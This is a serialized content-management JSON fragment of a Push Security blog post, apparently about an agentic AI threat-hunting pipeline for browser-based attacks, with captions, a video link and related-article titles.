nodeType":866},{},[60129],{"data":60130,"marks":60131,"value":16042,"nodeType":865},{},[],{"data":60133,"content":60136,"nodeType":925},{"target":60134},{"sys":60135},{"id":16047,"type":922,"linkType":923},[],{"data":60138,"content":60139,"nodeType":866},{},[60140],{"data":60141,"marks":60142,"value":16055,"nodeType":865},{},[],{"data":60144,"content":60145,"nodeType":866},{},[60146,60149,60153],{"data":60147,"marks":60148,"value":16062,"nodeType":865},{},[],{"data":60150,"marks":60151,"value":16067,"nodeType":865},{},[60152],{"type":961},{"data":60154,"marks":60155,"value":16071,"nodeType":865},{},[],{"data":60157,"content":60158,"nodeType":953},{},[],{"data":60160,"content":60161,"nodeType":963},{},[60162],{"data":60163,"marks":60164,"value":16082,"nodeType":865},{},[60165],{"type":961},{"data":60167,"content":60168,"nodeType":866},{},[60169],{"data":60170,"marks":60171,"value":16089,"nodeType":865},{},[],{"data":60173,"content":60174,"nodeType":866},{},[60175],{"data":60176,"marks":60177,"value":16096,"nodeType":865},{},[],{"data":60179,"content":60182,"nodeType":925},{"target":60180},{"sys":60181},{"id":16101,"type":922,"linkType":923},[],{"data":60184,"content":60185,"nodeType":866},{},[60186],{"data":60187,"marks":60188,"value":16109,"nodeType":865},{},[],{"data":60190,"content":60191,"nodeType":1049},{},[60192,60210,60219],{"data":60193,"content":60194,"nodeType":1003},{},[60195],{"data":60196,"content":60197,"nodeType":866},{},[60198,60201,60207],{"data":60199,"marks":60200,"value":16122,"nodeType":865},{},[],{"data":60202,"content":60203,"nodeType":882},{"uri":16125},[60204],{"data":60205,"marks":60206,"value":16130,"nodeType":865},{},[],{"data":60208,"marks":60209,"value":16134,"nodeType":865},{},[],{"data":60211,"content":60212,"nodeType":1003},{},[60213],{"data":60214,"content":60215,"nodeType":866},{},[60216],{"data":60217,"marks":60218,"value":16144,"nodeType":865},{},[],{"data":60220,"content":60221,"nodeType":1003},{},[60222],{"data":60223,"content":60224,"nodeType":866},{},[60225],{"data":60226,"marks":60227,"value":16154,"nodeType":865},{},[],{"data":60229,"content":60230,"nodeType":866},{},[60231],{"data":60232,"marks":60233,"value":16161,"nodeType":865},{},[],{"data":60235,"content":60236,"nodeType":866},{},[60237],{"data":60238,"marks":60239,"value":16168,"nodeType":865},{},[],{"data":60241,"content":60242,"nodeType":866},{},[60243],{"data":60244,"marks":60245,"value":16175,"nodeType":865},{},[],{"data":60247,"content":60250,"nodeType":925},{"target":60248},{"sys":60249},{"id":16180,"type":922,"linkType":923},[],{"data":60252,"content":60253,"nodeType":953},{},[],{"data":60255,"content":60256,"nodeType":963},{},[60257],{"data":60258,"marks":60259,"value":16192,"nodeType":865},{},[60260],{"type":961},{"data":60262,"content":60263,"nodeType":866},{},[60264],{"data":60265,"marks":60266,"value":2792,"nodeType":865},{},[],{"data":60268,"content":60269,"nodeType":866},{},[60270],{"data":60271,"marks":60272,"value":1718,"nodeType":865},{},[],{"data":60274,"content":60275,"nodeType":866},{},[60276,60279,60285],{"data":60277,"marks":60278,"value":1725,"nodeType":865},{},[],{"data":60280,"content":60281,"nodeType":882},{"uri":16213},[60282],{"data":60283,"marks":60284,"value":1734,"nodeType":865},{},[],{"data":60286,"marks":60287,"value":1738,"nodeType":865},{},[],{"entries":60289},{"inline":60290,"hyperlink":60291,"block":60318},[],[60292,60296,60298,60300,60302,60306,60310,60314],{"sys":60293,"__typename":1788,"title":60294,"slug":60295},{"id":15306},"How cyber criminals power malvertising scams with stolen accounts","cyber-criminal-ecosystem-analysis",{"sys":60297,"__typename":1788,"title":23191,"slug":23194},{"id":15362},{"sys":60299,"__typename":1788,"title":19778,"slug":19781},{"id":15449},{"sys":60301,"__typename":1788,"title":32433,"slug":361},{"id":15486},{"sys":60303,"__typename":1788,"title":60304,"slug":60305},{"id":15510},"ConsentFix: Analyzing a browser-native ClickFix-style attack that hijacks OAuth consent grants","consentfix",{"sys":60307,"__typename":1788,"title":60308,"slug":60309},{"id":15536},"Google Search malvertising campaign continues, now impersonating Ahrefs","google-search-malvertising-campaign-continues-now-impersonating-ahrefs",{"sys":60311,"__typename":1788,"title":60312,"slug":60313},{"id":15560},"Uncovering a Calendly-themed phishing campaign targeting business ad manager accounts","uncovering-a-calendly-themed-phishing-campaign",{"sys":60315,"__typename":1788,"title":60316,"slug":60317},{"id":15648},"Our design philosophy: Detecting what matters","our-design-philosophy-detecting-what-matters",[60319,60340,60343,60375,60380,60385,60393,60401,60415,60422],{"sys":60320,"__typename":9270,"content":60321,"name":60339,"title":59},{"id":15409},{"json":60322},{"nodeType":1739,"data":60323,"content":60324},{},[60325,60332],{"nodeType":866,"data":60326,"content":60327},{},[60328],{"nodeType":865,"value":60329,"marks":60330,"data":60331},"In this article, we’ll outline how Push uses AI agents as a force multiplier for identifying emerging threats that target organizations via the browser — think: ClickFix, vibecoded phishing sites, AiTM kits, cloned login pages, ConsentFix attacks, malicious OAuth apps, device code phishing, sites impersonating Claude Code installers, etc. — and share what we’ve learned. ",[],{},{"nodeType":866,"data":60333,"content":60334},{},[60335],{"nodeType":865,"value":60336,"marks":60337,"data":60338},"We’ll cover the architectural decisions we made that enable the successful implementation of agents and some emerging best practices we’ve identified; discuss why our hunts focus on extracting techniques, not indicators; and illustrate how Push customers are benefitting from this agentic pipeline.",[],{},"Agentic Threat Hunting Blog IB1",{"sys":60341,"__typename":1747,"title":15454,"caption":29431,"layoutMode":59,"file":60342},{"id":15574},{"url":29433,"width":29434,"height":29435},{"sys":60344,"__typename":9270,"content":60345,"name":60374,"title":59},{"id":15587},{"json":60346},{"nodeType":1739,"data":60347,"content":60348},{},[60349,60367],{"nodeType":866,"data":60350,"content":60351},{},[60352,60356,60363],{"nodeType":865,"value":60353,"marks":60354,"data":60355},"Push researchers are seeing ",[],{},{"nodeType":882,"data":60357,"content":60358},{"uri":12335},[60359],{"nodeType":865,"value":60360,"marks":60361,"data":60362},"extensive evidence of LLM use",[],{},{"nodeType":865,"value":60364,"marks":60365,"data":60366}," in attacks we detect, from LLM-generated phishing kits and tools to vibe-coded cloned pages, demonstrating how much adversaries have embraced these tools to expedite their work. ",[],{},{"nodeType":866,"data":60368,"content":60369},{},[60370],{"nodeType":865,"value":60371,"marks":60372,"data":60373},"In particular, we’ve observed operator-gated payload delivery that greatly reduces the likelihood that malicious sites will be flagged and added to known-bad detection lists because they’re only served to active targets, using gated landing pages, anti-bot checks, and other methods to evade proactive infrastructure scanning. This reinforces the need for browser-based detection at the point the user interacts with the page.",[],{},"Agentic Threat Hunting Blog IB2",{"sys":60376,"__typename":1747,"title":60377,"caption":1775,"layoutMode":59,"file":60378},{"id":15627},"Sample detection - blog article - custom branding",{"url":60379,"width":1759,"height":1778},"https://images.ctfassets.net/y1cdw1ablpvd/6k8qVn1iYXbBl6lcHvphIa/dd802537d883cf6ddafdd78034c3412a/sample_detection.png",{"sys":60381,"__typename":60382,"title":60383,"youTubeUrl":60384},{"id":15677},"EmbeddedVideo","Adam Bateman: Agentic AI is a Force Multiplier","https://www.youtube.com/watch?v=F5Qv-su0qQA",{"sys":60386,"__typename":1747,"title":60387,"caption":60388,"layoutMode":59,"file":60389},{"id":15904},"Dissect agent output - agentic threat hunting blog","Summary from the work of Push’s deep investigation AI agent on the initial InstallFix attack detected by Push.",{"url":60390,"width":60391,"height":60392},"https://images.ctfassets.net/y1cdw1ablpvd/6t86kpGUwCVvrJEfVic1Cr/f41986585203764155d736d26cee2176/agentic_summary_example_installfix.png",1998,1428,{"sys":60394,"__typename":1747,"title":60395,"caption":60396,"layoutMode":59,"file":60397},{"id":16010},"Detection engine diagram - agentic threat blog","The Push detection engine combines deep browser telemetry with agentic workflows to rapidly respond to emerging threats.  ",{"url":60398,"width":60399,"height":60400},"https://images.ctfassets.net/y1cdw1ablpvd/1zbE1t82gPo7pgqkAayTcZ/72046ea5db9b80c77053343223025163/platform_diagram_v3.png",1134,762,{"sys":60402,"__typename":9270,"content":60403,"name":60414,"title":59},{"id":16047},{"json":60404},{"data":60405,"content":60406,"nodeType":1739},{},[60407],{"data":60408,"content":60409,"nodeType":866},{},[60410],{"data":60411,"marks":60412,"value":60413,"nodeType":865},{},[],"Use agents as an excuse to operationalize your internal knowledge once and for all. Every security team has a venerable silo of knowledge — that one person who just knows how to do that one major thing. Now, that can be an AI resource accessible to all, at any time, whenever you need it most.","Agentic Threat Hunting Blog IB4",{"sys":60416,"__typename":1747,"title":60417,"caption":60418,"layoutMode":59,"file":60419},{"id":16101},"Learning loops diagram - agentic threat blog","Two learning loops for known and unknown threats create a compounding effect for Push’s ability to defend against browser-based attacks.",{"url":60420,"width":60421,"height":1778},"https://images.ctfassets.net/y1cdw1ablpvd/6TQdqvjhG4AYHITcR1MV9s/b1e1c337f50005186f6022004543023b/learning_loops_v3.png",1001,{"sys":60423,"__typename":5631,"type":5632,"ctaText":60424,"buttonLabel":57303,"buttonColour":5635,"buttonUrl":60425},{"id":16180},"Book a demo to learn more about our agentic threat hunting capabilities and how they can benefit your security team.","https://site.dev.pushsecurity.com/demo/",{"items":60427},[],{},"How we built an agentic threat hunting pipeline at Push",{"items":60431},[60432,60921,61602],{"__typename":1788,"sys":60433,"content":60434,"title":14654,"synopsis":17501,"hashTags":59,"publishedDate":2818,"slug":17489,"tagsCollection":60911,"authorsCollection":60917},{"id":17503},{"json":60435},{"data":60436,"content":60437,"nodeType":1739},{},[60438,60444,60450,60466,60473,60479,60486,60489,60495,60501,60516,60522,60529,60535,60541,60547,60553,60558,60561,60567,60573,60579,60594,60600,60606,60612,60618,60624,60630,60636,60642,60658,60664,60670,60676,60679,60685,60691,60697,60703,60708,60714,60720,60726,60732,60737,60743,60749,60755,60761,60783,60789,60795,60801,60807,60820,60826,60832,60838,60844,60849,60855,60861,60867,60872,60875,60881,60896],{"data":60439,"content":60440,"nodeType":866},{},[60441],{"data":60442,"marks":60443,"value":14669,"nodeType":865},{},[],{"data":60445,"content":60446,"nodeType":866},{},[60447],{"data":60448,"marks":60449,"value":14676,"nodeType":865},{},[],{"data":60451,"content":60452,"nodeType":866},{},[60453,60456,60463],{"data":60454,"marks":60455,"value":14683,"nodeType":865},{},[],{"data":60457,"content":60458,"nodeType":882},{"uri":14686},[60459],{"data":60460,"marks":60461,"value":14692,"nodeType":865},{},[60462],{"type":997},{"data":60464,"marks":60465,"value":14696,"nodeType":865},{},[],{"data":60467,"content":60468,"nodeType":866},{},[60469],{"data":60470,"marks":60471,"value":14704,"nodeType":865},{},[60472],{"type":961},{"data":60474,"content":60475,"nodeType":866},{},[60476],{"data":60477,"marks":60478,"value":14711,"nodeType":865},{},[],{"data":60480,"content":60481,"nodeType":866},{},[60482],{"data":60483,"marks":60484,"value":14719,"nodeType":865},{},[60485],{"type":961},{"data":60487,"content":60488,"nodeType":953},{},[],{"data":60490,"content":60491,"nodeType":963},{},[60492],{"data":60493,"marks":60494,"value":14729,"nodeType":865},{},[],{"data":60496,"content":60497,"nodeType":866},{},[60498],{"data":60499,"marks":60500,"value":14736,"nodeType":865},{},[],{"data":60502,"content":60503,"nodeType":866},{},[60504,60507,60513],{"data":60505,"marks":60506,"value":873,"nodeType":865},{},[],{"data":60508,"content":60509,"nodeType":882},{"uri":14745},[60510],{"data":60511,"marks":60512,"value":14750,"nodeType":865},{},[],{"data":60514,"marks":60515,"value":14754,"nodeType":865},{},[],{"data":60517,"content":60518,"nodeType":866},{},[60519],{"data":60520,"marks":60521,"value":14761,"nodeType":865},{},[],{"data":60523,"content":60524,"nodeType":866},{},[60525],{"data":60526,"marks":60527,"value":14769,"nodeType":865},{},[60528],{"type":961},{"data":60530,"content":60531,"nodeType":866},{},[60532],{"data":60533,"marks":60534,"value":14776,"nodeType":865},{},[],{"data":60536,"content":60537,"nodeType":866},{},[60538],{"data":60539,"marks":60540,"value":14783,"nodeType":865},{},[],{"data":60542,"content":60543,"nodeType":866},{},[60544],{"data":60545,"marks":60546,"value":14790,"nodeType":865},{},[],{"data":60548,"content":60549,"nodeType":866},{},[60550],{"data":60551,"marks":60552,"value":14797,"nodeType":865},{},[],{"data":60554,"content":60557,"nodeType":925},{"target":60555},{"sys":60556},{"id":14802,"type":922,"linkType":923},[],{"data":60559,"content":60560,"nodeType":953},{},[],{"data":60562,"content":60563,"nodeType":963},{},[60564],{"data":60565,"marks":60566,"value":14813,"nodeType":865},{},[],{"data":60568,"content":60569,"nodeType":866},{},[60570],{"data":60571,"marks":60572,"value":14820,"nodeType":865},{},[],{"data":60574,"content":60575,"nodeType":866},{},[60576],{"data":60577,"marks":60578,"value":14827,"nodeType":865},{},[],{"data":60580,"content":60581,"nodeType":866},{},[60582,60585,60591],{"data":60583,"marks":60584,"value":14834,"nodeType":865},{},[],{"data":60586,"content":60587,"nodeType":882},{"uri":14837},[60588],{"data":60589,"marks":60590,"value":14842,"nodeType":865},{},[],{"data":60592,"marks":60593,"value":14846,"nodeType":865},{},[],{"data":60595,"content":60596,"nodeType":866},{},[60597],{"data":60598,"marks":60599,"value":14853,"nodeType":865},{},[],{"data":60601,"content":60602,"nodeType":866},{},[60603],{"data":60604,"marks":60605,"value":14860,"nodeType":865},{},[],{"data":60607,"content":60608,"nodeType":1458},{},[60609],{"data":60610,"marks":60611,"value":14867,"nodeType":865},{},[],{"data":60613,"content":60614,"nodeType":866},{},[60615],{"data":60616,"marks":60617,"value":14874,"nodeType":865},{},[],{"data":60619,"content":60620,"nodeType":866},{},[60621],{"data":60622,"marks":60623,"value":14881,"nodeType":865},{},[],{"data":60625,"content":60626,"nodeType":1458},{},[60627],{"data":60628,"marks":60629,"value":14888,"nodeType":865},{},[],{"data":60631,"content":60632,"nodeType":866},{},[60633],{"data":60634,"marks":60635,"value":14895,"nodeType":865},{},[],{"data":60637,"content":60638,"nodeType":866},{},[60639],{"data":60640,"marks":60641,"value":14902,"nodeType":865},{},[],{"data":60643,"content":60644,"nodeType":866},{},[60645,60648,60655],{"data":60646,"marks":60647,"value":873,"nodeType":865},{},[],{"data":60649,"content":60650,"nodeType":882},{"uri":11342},[60651],{"data":60652,"marks":60653,"value":14916,"nodeType":865},{},[60654],{"type":997},{"data":60656,"marks":60657,"value":14920,"nodeType":865},{},[],{"data":60659,"content":60660,"nodeType":1458},{},[60661],{"data":60662,"marks":60663,"value":14927,"nodeType":865},{},[],{"data":60665,"content":60666,"nodeType":866},{},[60667],{"data":60668,"marks":60669,"value":14934,"nodeType":865},{},[],{"data":60671,"content":60672,"nodeType":866},{},[60673],{"data":60674,"marks":60675,"value":14941,"nodeType":865},{},[],{"data":60677,"content":60678,"nodeType":953},{},[],{"data":60680,"content":60681,"nodeType":963},{},[60682],{"data":60683,"marks":60684,"value":14951,"nodeType":865},{},[],{"data":60686,"content":60687,"nodeType":866},{},[60688],{"data":60689,"marks":60690,"value":14958,"nodeType":865},{},[],{"data":60692,"content":60693,"nodeType":866},{},[60694],{"data":60695,"marks":60696,"value":14965,"nodeType":865},{},[],{"data":60698,"content":60699,"nodeType":866},{},[60700],{"data":60701,"marks":60702,"value":14972,"nodeType":865},{},[],{"data":60704,"content":60707,"nodeType":925},{"target":60705},{"sys":60706},{"id":14977,"type":922,"linkType":923},[],{"data":60709,"content":60710,"nodeType":1458},{},[60711],{"data":60712,"marks":60713,"value":14985,"nodeType":865},{},[],{"data":60715,"content":60716,"nodeType":866},{},[60717],{"data":60718,"marks":60719,"value":14992,"nodeType":865},{},[],{"data":60721,"content":60722,"nodeType":866},{},[60723],{"data":60724,"marks":60725,"value":14999,"nodeType":865},{},[],{"data":60727,"content":60728,"nodeType":866},{},[60729],{"data":60730,"marks":60731,"value":15006,"nodeType":865},{},[],{"data":60733,"content":60736,"nodeType":925},{"target":60734},{"sys":60735},{"id":15011,"type":922,"linkType":923},[],{"data":60738,"content":60739,"nodeType":1458},{},[60740],{"data":60741,"marks":60742,"value":15019,"nodeType":865},{},[],{"data":60744,"content":60745,"nodeType":866},{},[60746],{"data":60747,"marks":60748,"value":15026,"nodeType":865},{},[],{"data":60750,"content":60751,"nodeType":866},{},[60752],{"data":60753,"marks":60754,"value":15033,"nodeType":865},{},[],{"data":60756,"content":60757,"nodeType":866},{},[60758],{"data":60759,"marks":60760,"value":15040,"nodeType":865},{},[],{"data":60762,"content":60763,"nodeType":11214},{},[60764],{"data":60765,"content":60766,"nodeType":866},{},[60767,60770,60776,60779],{"data":60768,"marks":60769,"value":11196,"nodeType":865},{},[],{"data":60771,"content":60772,"nodeType":882},{"uri":11199},[60773],{"data":60774,"marks":60775,"value":11204,"nodeType":865},{},[],{"data":60777,"marks":60778,"value":11208,"nodeType":865},{},[],{"data":60780,"marks":60781,"value":11213,"nodeType":865},{},[60782],{"type":944},{"data":60784,"content":60785,"nodeType":866},{},[60786],{"data":60787,"marks":60788,"value":15069,"nodeType":865},{},[],{"data":60790,"content":60791,"nodeType":866},{},[60792],{"data":60793,"marks":60794,"value":15076,"nodeType":865},{},[],{"data":60796,"content":60797,"nodeType":866},{},[60798],{"data":60799,"marks":60800,"value":15083,"nodeType":865},{},[],{"data":60802,"content":60803,"nodeType":1458},{},[60804],{"data":60805,"marks":60806,"value":15090,"nodeType":865},{},[],{"data":60808,"content":60809,"nodeType":866},{},[60810,60813,60817],{"data":60811,"marks":60812,"value":15097,"nodeType":865},{},[],{"data":60814,"marks":60815,"value":15102,"nodeType":865},{},[60816],{"type":961},{"data":60818,"marks":60819,"value":15106,"nodeType":865},{},[],{"data":60821,"content":60822,"nodeType":866},{},[60823],{"data":60824,"marks":60825,"value":15113,"nodeType":865},{},[],{"data":60827,"content":60828,"nodeType":866},{},[60829],{"data":60830,"marks":60831,"value":15120,"nodeType":865},{},[],{"data":60833,"content":60834,"nodeType":866},{},[60835],{"data":60836,"marks":60837,"value":15127,"nodeType":865},{},[],{"data":60839,"content":60840,"nodeType":866},{},[60841],{"data":60842,"marks":60843,"value":15134,"nodeType":865},{},[],{"data":60845,"content":60848,"nodeType":925},{"target":60846},{"sys":60847},{"id":15139,"type":922,"linkType":923},[],{"data":60850,"content":60851,"nodeType":1458},{},[60852],{"data":60853,"marks":60854,"value":15147,"nodeType":865},{},[],{"data":60856,"content":60857,"nodeType":866},{},[60858],{"data":60859,"marks":60860,"value":15154,"nodeType":865},{},[],{"data":60862,"content":60863,"nodeType":866},{},[60864],{"data":60865,"marks":60866,"value":15161,"nodeType":865},{},[],{"data":60868,"content":60871,"nodeType":925},{"target":60869},{"sys":60870},{"id":15166,"type":922,"linkType":923},[],{"data":60873,"content":60874,"nodeType":953},{},[],{"data":60876,"content":60877,"nodeType":963},{},[60878],{"data":60879,"marks":60880,"value":15177,"nodeType":865},{},[],{"data":60882,"content":60883,"nodeType":866},{},[60884,60887,60893],{"data":60885,"marks":60886,"value":15184,"nodeType":865},{},[],{"data":60888,"content":60889,"nodeType":882},{"uri":14686},[60890],{"data":60891,"marks":60892,"value":15191,"nodeType":865},{},[],{"data":60894,"marks":60895,"value":1048,"nodeType":865},{},[],{"data":60897,"content":60898,"nodeType":866},{},[60899,60902,60908],{"data":60900,"marks":60901,"value":15201,"nodeType":865},{},[],{"data":60903,"content":60904,"nodeType":882},{"uri":1728},[60905],{"data":60906,"marks":60907,"value":15208,"nodeType":865},{},[],{"data":60909,"marks":60910,"value":1048,"nodeType":865},{},[],{"items":60912},[60913,60915],{"sys":60914,"name":297},{"id":2828},{"sys":60916,"name":11426},{"id":11425},{"items":60918},[60919],{"fullName":3774,"firstName":3775,"jobTitle":3776,"profilePicture":60920},{"url":3778},{"__typename":1788,"sys":60922,"content":60923,"title":13900,"synopsis":13901,"hashTags":59,"publishedDate":13902,"slug":13903,"tagsCollection":61592,"authorsCollection":61598},{"id":13115},{"json":60924},{"data":60925,"content":60926,"nodeType":1739},{},[60927,60933,60939,60963,60969,60974,60979,60989,60992,60999,61012,61018,61023,61029,61035,61040,61043,61050,61056,61061,61066,61072,61078,61093,61098,61101,61108,61123,61128,61134,61137,61144,61150,61156,61161,61166,61200,61206,61209,61216,61222,61228,61261,61267,61291,61297,61330,61336,61339,61346,61361,61367,61374,61387,61393,61408,61414,61417,61423,61429,61445,61448,61455,61470,61476,61586],{"data":60928,"content":60929,"nodeType":866},{},[60930],{"data":60931,"marks":60932,"value":13126,"nodeType":865},{},[],{"data":60934,"content":60935,"nodeType":866},{},[60936],{"data":60937,"marks":60938,"value":13133,"nodeType":865},{},[],{"data":60940,"content":60941,"nodeType":866},{},[60942,60945,60951,60954,60960],{"data":60943,"marks":60944,"value":13140,"nodeType":865},{},[],{"data":60946,"content":60947,"nodeType":882},{"uri":13143},[60948],{"data":60949,"marks":60950,"value":13148,"nodeType":865},{},[],{"data":60952,"marks":60953,"value":13152,"nodeType":865},{},[],{"data":60955,"content":60956,"nodeType":882},{"uri":13155},[60957],{"data":60958,"marks":60959,"value":13160,"nodeType":865},{},[],{"data":60961,"marks":60962,"value":13164,"nodeType":865},{},[],{"data":60964,"content":60965,"nodeType":866},{},[60966],{"data":60967,"marks":60968,"value":13171,"nodeType":865},{},[],{"data":60970,"content":60973,"nodeType":925},{"target":60971},{"sys":60972},{"id":13176,"type":922,"linkType":923},[],{"data":60975,"content":60978,"nodeType":925},{"target":60976},{"sys":60977},{"id":13182,"type":922,"linkType":923},[],{"data":60980,"content":60981,"nodeType":866},{},[60982,60986],{"data":60983,"marks":60984,"value":13191,"nodeType":865},{},[60985],{"type":961},{"data":60987,"marks":60988,"value":13195,"nodeType":865},{},[],{"data":60990,"content":60991,"nodeType":953},{},[],{"data":60993,"content":60994,"nodeType":963},{},[60995],{"data":60996,"marks":60997,"value":13206,"nodeType":865},{},[60998],{"type":961},{"data":61000,"content":61001,"nodeType":866},{},[61002,61005,61009],{"data":61003,"marks":61004,"value":13213,"nodeType":865},{},[],{"data":61006,"marks":61007,"value":13218,"nodeType":865},{},[61008],{"type":944},{"data":61010,"marks":61011,"value":13222,"nodeType":865},{},[],{"data":61013,"content":61014,"nodeType":866},{},[61015],{"data":61016,"marks":61017,"value":13229,"nodeType":865},{},[],{"data":61019,"content":61022,"nodeType":925},{"target":61020},{"sys":61021},{"id":13234,"type":922,"linkType":923},[],{"data":61024,"content":61025,"nodeType":866},{},[61026],{"data":61027,"marks":61028,"value":13242,"nodeType":865},{},[],{"data":61030,"content":61031,"nodeType":866},{},[61032],{"data":61033,"marks":61034,"value":13249,"nodeType":865},{},[],{"data":61036,"content":61039,"nodeType":925},{"target":61037},{"sys":61038},{"id":13254,"type":922,"linkType":923},[],{"data":61041,"content":61042,"nodeType":953},{},[],{"data":61044,"content":61045,"nodeType":963},{},[61046],{"data":61047,"marks":61048,"value":13266,"nodeType":865},{},[61049],{"type":961},{"data":61051,"content":61052,"nodeType":866},{},[61053],{"data":61054,"marks":61055,"value":13273,"nodeType":865},{},[],{"data":61057,"content":61060,"nodeType":925},{"target":61058},{"sys":61059},{"id":13278,"type":922,"linkType":923},[],{"data":61062,"content":61065,"nodeType":925},{"target":61063},{"sys":61064},{"id":13284,"type":922,"linkType":923},[],{"data":61067,"content":61068,"nodeType":866},{},[61069],{"data":61070,"marks":61071,"value":13292,"nodeType":865},{},[],{"data":61073,"content":61074,"nodeType":866},{},[61075],{"data":61076,"marks":61077,"value":13299,"nodeType":865},{},[],{"data":61079,"content":61080,"nodeType":866},{},[61081,61084,61090],{"data":61082,"marks":61083,"value":13306,"nodeType":865},{},[],{"data":61085,"content":61086,"nodeType":882},{"uri":13309},[61087],{"data":61088,"marks":61089,"value":13314,"nodeType":865},{},[],{"data":61091,"marks":61092,"value":1048,"nodeType":865},{},[],{"data":61094,"content":61097,"nodeType":925},{"target":61095},{"sys":61096},{"id":13322,"type":922,"linkType":923},[],{"data":61099,"content":61100,"nodeType":953},{},[],{"data":61102,"content":61103,"nodeType":963},{},[61104],{"data":61105,"marks":61106,"value":13334,"nodeType":865},{},[61107],{"type":961},{"data":61109,"content":61110,"nodeType":866},{},[61111,61114,61120],{"data":61112,"marks":61113,"value":13341,"nodeType":865},{},[],{"data":61115,"content":61116,"nodeType":882},{"uri":13143},[61117],{"data":61118,"marks":61119,"value":13348,"nodeType":865},{},[],{"data":61121,"marks":61122,"value":13352,"nodeType":865},{},[],{"data":61124,"content":61127,"nodeType":925},{"target":61125},{"sys":61126},{"id":13357,"type":922,"linkType":923},[],{"data":61129,"content":61130,"nodeType":866},{},[61131],{"data":61132,"marks":61133,"value":13365,"nodeType":865},{},[],{"data":61135,"content":61136,"nodeType":953},{},[],{"data":61138,"content":61139,"nodeType":963},{},[61140],{"data":61141,"marks":61142,"value":13376,"nodeType":865},{},[61143],{"type":961},{"data":61145,"content":61146,"nodeType":866},{},[61147],{"data":61148,"marks":61149,"value":13383,"nodeType":865},{},[],{"data":61151,"content":61152,"nodeType":866},{},[61153],{"data":61154,"marks":61155,"value":13390,"nodeType":865},{},[],{"data":61157,"content":61160,"nodeType":925},{"target":61158},{"sys":61159},{"id":5141,"type":922,"linkType":923},[],{"data":61162,"content":61165,"nodeType":925},{"target":61163},{"sys":61164},{"id":13400,"type":922,"linkType":923},[],{"data":61167,"content":61168,"nodeType":866},{},[61169,61172,61178,61181,61187,61190,61197],{"data":61170,"marks":61171,"value":13408,"nodeType":865},{},[],{"data":61173,"content":61174,"nodeType":882},{"uri":13411},[61175],{"data":61176,"marks":61177,"value":13416,"nodeType":865},{},[],{"data":61179,"marks":61180,"value":13420,"nodeType":865},{},[],{"data":61182,"content":61183,"nodeType":882},{"uri":5307},[61184],{"data":61185,"marks":61186,"value":13427,"nodeType":865},{},[],{"data":61188,"marks":61189,"value":8756,"nodeType":865},{},[],{"data":61191,"content":61192,"nodeType":882},{"uri":13433},[61193],{"data":61194,"marks":61195,"value":13439,"nodeType":865},{},[61196],{"type":997},{"data":61198,"marks":61199,"value":13443,"nodeType":865},{},[],{"data":61201,"content":61202,"nodeType":866},{},[61203],{"data":61204,"marks":61205,"value":13450,"nodeType":865},{},[],{"data":61207,"content":61208,"nodeType":953},{},[],{"data":61210,"content":61211,"nodeType":963},{},[61212],{"data":61213,"marks":61214,"value":13461,"nodeType":865},{},[61215],{"type":961},{"data":61217,"content":61218,"nodeType":866},{},[61219],{"data":61220,"marks":61221,"value":13468,"nodeType":865},{},[],{"data":61223,"content":61224,"nodeType":1458},{},[61225],{"data":61226,"marks":61227,"value":13475,"nodeType":865},{},[],{"data":61229,"content":61230,"nodeType":866},{},[61231,61234,61240,61243,61249,61252,61258],{"data":61232,"marks":61233,"value":13482,"nodeType":865},{},[],{"data":61235,"content":61236,"nodeType":882},{"uri":13485},[61237],{"data":61238,"marks":61239,"value":13490,"nodeType":865},{},[],{"data":61241,"marks":61242,"value":13494,"nodeType":865},{},[],{"data":61244,"content":61245,"nodeType":882},{"uri":13497},[61246],{"data":61247,"marks":61248,"value":13502,"nodeType":865},{},[],{"data":61250,"marks":61251,"value":13506,"nodeType":865},{},[],{"data":61253,"content":61254,"nodeType":882},{"uri":13509},[61255],{"data":61256,"marks":61257,"value":13514,"nodeType":865},{},[],{"data":61259,"marks":61260,"value":13518,"nodeType":865},{},[],{"data":61262,"content":61263,"nodeType":1458},{},[61264],{"data":61265,"marks":61266,"value":13525,"nodeType":865},{},[],{"data":61268,"content":61269,"nodeType":866},{},[61270,61273,61279,61282,61288],{"data":61271,"marks":61272,"value":13532,"nodeType":865},{},[],{"data":61274,"content":61275,"nodeType":882},{"uri":13535},[61276],{"data":61277,"marks":61278,"value":13540,"nodeType":865},{},[],{"data":61280,"marks":61281,"value":13544,"nodeType":865},{},[],{"data":61283,"content":61284,"nodeType":882},{"uri":13547},[61285],{"data":61286,"marks":61287,"value":13552,"nodeType":865},{},[],{"data":61289,"marks":61290,"value":13556,"nodeType":865},{},[],{"data":61292,"content":61293,"nodeType":1458},{},[61294],{"data":61295,"marks":61296,"value":13563,"nodeType":865},{},[],{"data":61298,"content":61299,"nodeType":866},{},[61300,61303,61309,61312,61318,61321,61327],{"data":61301,"marks":61302,"value":13570,"nodeType":865},{},[],{"data":61304,"content":61305,"nodeType":882},{"uri":13573},[61306],{"data":61307,"marks":61308,"value":13578,"nodeType":865},{},[],{"data":61310,"marks":61311,"value":13582,"nodeType":865},{},[],{"data":61313,"content":61314,"nodeType":882},{"uri":13585},[61315],{"data":61316,"marks":61317,"value":13590,"nodeType":865},{},[],{"data":61319,"marks":61320,"value":13594,"nodeType":865},{},[],{"data":61322,"content":61323,"nodeType":882},{"uri":13597},[61324],{"data":61325,"marks":61326,"value":13602,"nodeType":865},{},[],{"data":61328,"marks":61329,"value":13606,"nodeType":865},{},[],{"data":61331,"content":61332,"nodeType":866},{},[61333],{"data":61334,"marks":61335,"value":13613,"nodeType":865},{},[],{"data":61337,"content":61338,"nodeType":953},{},[],{"data":61340,"content":61341,"nodeType":963},{},[61342],{"data":61343,"marks":61344,"value":13624,"nodeType":865},{},[61345],{"type":961},{"data":61347,"content":61348,"nodeType":866},{},[61349,61352,61358],{"data":61350,"marks":61351,"value":13631,"nodeType":865},{},[],{"data":61353,"content":61354,"nodeType":882},{"uri":13634},[61355],{"data":61356,"marks":61357,"value":13639,"nodeType":865},{},[],{"data":61359,"marks":61360,"value":13643,"nodeType":865},{},[],{"data":61362,"content":61363,"nodeType":866},{},[61364],{"data":61365,"marks":61366,"value":13650,"nodeType":865},{},[],{"data":61368,"content":61369,"nodeType":1458},{},[61370],{"data":61371,"marks":61372,"value":13658,"nodeType":865},{},[61373],{"type":961},{"data":61375,"content":61376,"nodeType":866},{},[61377,61380,61384],{"data":61378,"marks":61379,"value":13665,"nodeType":865},{},[],{"data":61381,"marks":61382,"value":3140,"nodeType":865},{},[61383],{"type":961},{"data":61385,"marks":61386,"value":13673,"nodeType":865},{},[],{"data":61388,"content":61389,"nodeType":866},{},[61390],{"data":61391,"marks":61392,"value":13680,